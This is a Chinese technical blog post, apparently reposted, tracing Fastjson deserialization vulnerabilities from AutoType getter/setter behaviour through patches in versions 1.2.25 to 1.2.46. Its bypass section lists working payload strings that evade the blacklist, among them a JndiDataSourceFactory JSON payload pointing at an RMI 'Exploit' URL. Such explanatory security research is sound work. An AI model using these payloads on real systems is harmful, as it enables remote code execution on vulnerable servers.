FastJson反序列化的前世今生

栏目: Java · 发布时间: 5年前

内容简介:fastjson是一个由alibaba开源的高性能且功能非常完善的JSON库,解决JSON数据处理的业务问题。应用范围非常广,是国内外流行的反序列化依赖库。截止20181126,Fastjson最新版本是1.2.51。使用老版本的Fastjson可能存在高危安全问题。官方已在1.2.25版本中推出白名单+黑名单两种方式的防御,默认使用白名单,截至目前来说白名单已做到绝对安全。但为了兼容老版本应用,仍然保留了首先先了解FastJson正常反序列化的特点。FastJson是自己实现了一套反序列化的机制,并没有

0x00 前言

fastjson是一个由alibaba开源的高性能且功能非常完善的JSON库,解决JSON数据处理的业务问题。应用范围非常广,是国内外流行的反序列化依赖库。截止20181126,Fastjson最新版本是1.2.51。使用老版本的Fastjson可能存在高危安全问题。官方已在1.2.25版本中推出白名单+黑名单两种方式的防御,默认使用白名单,截至目前来说白名单已做到绝对安全。但为了兼容老版本应用,仍然保留了 AutoType 开关,fastjson在新版本中内置了多重防护,但是还是可能会存在一定风险。 所以在开发中应严格控制 AutoType 开关,保持fastjson为最新版本。

0x01 背景知识

简介

首先先了解FastJson正常反序列化的特点。FastJson是自己实现了一套反序列化的机制,并没有使用默认的 readObject() ,在序列化反序列化的时候会进行一些操作,主要是 settergetter 的操作,从而结合一些类的特性造成命令执行。

先创建一个实体类User:

package fastjsontest;
import com.alibaba.fastjson.JSON;
import java.util.Properties;
public class User {
    public String name;
    private int age;
    private Boolean sex;
    private Properties prop;
    public User(){
        System.out.println("User() is called");
    }
    public void setAge(int age){
        System.out.println("setAge() is called");
        this.age = age;
    }
    public Boolean getSex(){
        System.out.println("getGrade() is called");
        return this.sex;
    }
    public Properties getProp(){
        System.out.println("getProp() is called");
        return this.prop;
    }
    public String toString(){
        String s = "[User Object] name=" + this.name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex;
        return s;
    }
    public static void main(String[] args){
        String jsonstr = "{\"@type\":\"fastjsontest.User\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}";
        Object obj = JSON.parseObject(jsonstr, User.class);
        System.out.println(obj);
    }
}

其中包括:

  • public元素name
  • private元素age和它的setter函数
  • private元素sex和它的getter函数
  • private元素prop和它的getter函数

运行结果

User() is called
setAge() is called
getProp() is called
[User Object] name=Tom, age=13, prop=null, sex=null
Process finished with exit code 0

根据结果可以看出:

  1. User 对象的无参构造函数被调用
  2. public String name 被成功的反序列化
  3. private int age 被成功的反序列化, setter 函数被调用
  4. private Boolean sex 没有被反序列化,getter 函数也没有被调用
  5. private Properties prop没有被反序列化, getter 函数被调用

漏洞正是出现在这些 gettersetter 的自动调用中

重点关注后两条, sexprop 都为 private 变量, propgetter 被调用, sex 的没有。这里就涉及FastJson的一个特性,也是下面一个POC构造的关键。

根据FastJson源码发现,FastJson会对满足下列要求的 getter 进行调用

  • 只有 getter 没有 setter
  • 函数名称大于等于4
  • 非静态函数
  • 函数名称以get起始,且第四个字符为大写字母
  • 函数没有入参
  • 继承自Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong

FastJson反序列化的前世今生

Properties 继承于 HashtableHashtable 又继承于 Map ,满足所有条件,因此可被调用。

这时候假如 public Properties getProp() 中用户可输入参数构造存在危险操作的调用链,便可触发任意命令执行漏洞

反序列化私有变量

反序列化的时候私有变量 sex 因为没有 setter 没有被反序列化,如果想要也反序列化怎么办,FastJson提供参数设定 Feature.SupportNonPublicField

测试代码改为:

public static void main(String[] args){
        String jsonstr = "{\"@type\":\"fastjsontest.User\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}";
        Object obj = JSON.parseObject(jsonstr, User.class, Feature.SupportNonPublicField);
        System.out.println(obj);
    }

便可将私有变量进行反序列化。

关于指定反序列化类的类型

可以看到,测试代码在反序列化的时候指定了 User.class 类型,正常可控的反序列化的点是不会指定符合我们构造POC要求的类型的,那么不指定类型,或者指定其他类型能不能调用想要的方法呢?

不指定类型:

public static void main(String[] args){
        String jsonstr = "{\"@type\":\"fastjsontest.User\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}";
        Object obj = JSON.parseObject(jsonstr, Feature.SupportNonPublicField);
        System.out.println(obj);
    }

Output:

FastJson反序列化的前世今生

虽然没指定类型,但是也成功调用了相关的方法。

指定其他类型:

StringInteger 等常见类型发现可以成功调用相关方法

public static void main(String[] args){
        String jsonstr = "{\"@type\":\"fastjsontest.User\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}";
        Object obj = JSON.parseObject(jsonstr, Integer.class, Feature.SupportNonPublicField);
        System.out.println(obj);
    }

FastJson反序列化的前世今生

但是指定的一些其他类型时不能成功调用,如 Runtime

public static void main(String[] args){
        String jsonstr = "{\"@type\":\"fastjsontest.User\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}";
        Object obj = JSON.parseObject(jsonstr, Runtime.class, Feature.SupportNonPublicField);
        System.out.println(obj);
    }

FastJson反序列化的前世今生

这是因为FastJson内部封装了一部分常用类的类型,是列表里面的会直接进行反序列化,不会进行对比,反序列化完成后会直接进行强制类型转换。

FastJson反序列化的前世今生

这部分显得有点麻烦,开发在写代码的时候很多时候也不会用 parseObject ,而是 parse 一把梭, parse 相对于 parseObject 便会自动处理这些东西。

0x02 漏洞利用

官方于2017年3月5号发出安全公告,4月29号流露出相关POC,其中利用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类,看 TemplatesImpl 类的 _outputProperties 变量和 getOutputProperties() 函数,完全满足前面说的自动调用的条件。

FastJson反序列化的前世今生 FastJson反序列化的前世今生

然后 getOutputProperties() 的后续可以通过类定义的方式执行任意代码,详情请见 defineClass在 java 反序列化当中的利用

POC构造文章请参考

fastjson 远程反序列化poc的构造和分析

可能会发出的疑问:

  1. _outputProperties 为什么会和 getOutputProperties() 相关联?
  2. 为什么需要对 _bytecodes 进行Base64编码?

FastJson 反序列化漏洞利用的三个细节 - TemplatesImpl 利用链

  1. 为什么给 _tfactory 赋值?第一篇文章有讲
  2. 为什么给 _name 赋值?
    FastJson反序列化的前世今生

后面的过程会判断 _name 是否有值。

其他POC

2017看雪安全开发峰会上有人提出基于 JNDI 构造POC利用:

基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析

该POC利用的是 setter 函数,上面的测试代码可以看出,所有的 setter 函数被调用,所以 基于 JNDI 的利用相对于前者基本没有任何局限,直接 JSON.parse(input) 便可造成漏洞

造成命令执行:

FastJson反序列化的前世今生

0x03 补丁&绕过

FastJson反序列化的前世今生

V1.2.25-加入白名单和黑名单

FastJson反序列化的前世今生 默认开启白名单,白名单关闭时黑名单才生效,后面所有的绕过都是针对于白名单关闭的情况下

v1.2.25绕过(当时版本v1.2.41)

方式:

Lcom.sun.rowset.RowSetImpl;

原因:

FastJson反序列化的前世今生

loadClass 递归去除开头的 L 和结尾的 ; ,并且是在黑名单检测之后。

V1.2.42补丁

修复补丁绕过,去除开头的 L 和结尾的 ; ,无用补丁,再次被绕过

FastJson反序列化的前世今生

黑名单改为hash模式

可通过爬取Maven仓库下所有类,然后正向匹配输出真正的黑名单类。

FastJson反序列化的前世今生

V1.2.42绕过

方式:

LLcom.sun.rowset.RowSetImpl;;

原因:

V1.2.42补丁不生效

v1.2.43补丁

出现 LL 开头 ;; 结尾抛出异常然后去除开头的 L 和结尾的 ;

补丁生效

FastJson反序列化的前世今生

v1.2.25绕过(当时版本v1.2.43)

方式:

[com.sun.rowset.RowSetImpl

Lcom.sun.rowset.RowSetImpl; 其实是一样的,看前面 loadClass 的代码,不止处理了 Lxxxx; 格式数据,还处理的 [ 开头的数据。当时为什么没有一并修复了,这个POC本人测试时不成功的,因为后面的操作会报错,猜测可能当时也是发现不能利用就没修。

v1.2.44补丁

FastJson反序列化的前世今生

比较暴力,出现相关字符直接抛出异常。

v1.2.25绕过(当时版本v1.2.45)

POC:

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

原因:

黑名单被绕过

v1.2.46补丁

扩大很名单

0x04 往后的安全风险

FastJson反序列化的前世今生 FastJson反序列化的前世今生

一直在扩大黑名单,在更多的三方依赖引入的过程中,肯定还会存在被绕过的风险。

可能被绕过的方式:

  1. 挖掘出新的利用方式-JDK中新的利用类
  2. 扩展依赖-新的三方依赖
  3. 应用代码-针对某个应用,开发写出可被利用的代码
  4. 其他漏洞-安全研究者基本上只关注了远程命令执行,结合反序列化也可能造成其他危险的操作,比如直接操纵数据库。

著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:p0
链接:https://p0sec.net/index.php/archives/123/
来源:https://p0sec.net/


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

程序员的自我修养

程序员的自我修养

俞甲子、石凡、潘爱民 / 电子工业出版社 / 2009-4 / 65.00

这本书主要介绍系统软件的运行机制和原理,涉及在Windows和Linux两个系统平台上,一个应用程序在编译、链接和运行时刻所发生的各种事项,包括:代码指令是如何保存的,库文件如何与应用程序代码静态链接,应用程序如何被装载到内存中并开始运行,动态链接如何实现,C/C++运行库的工作原理,以及操作系统提供的系统服务是如何被调用的。每个技术专题都配备了大量图、表和代码实例,力求将复杂的机制以简洁的形式表......一起来看看 《程序员的自我修养》 这本书的介绍吧!

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具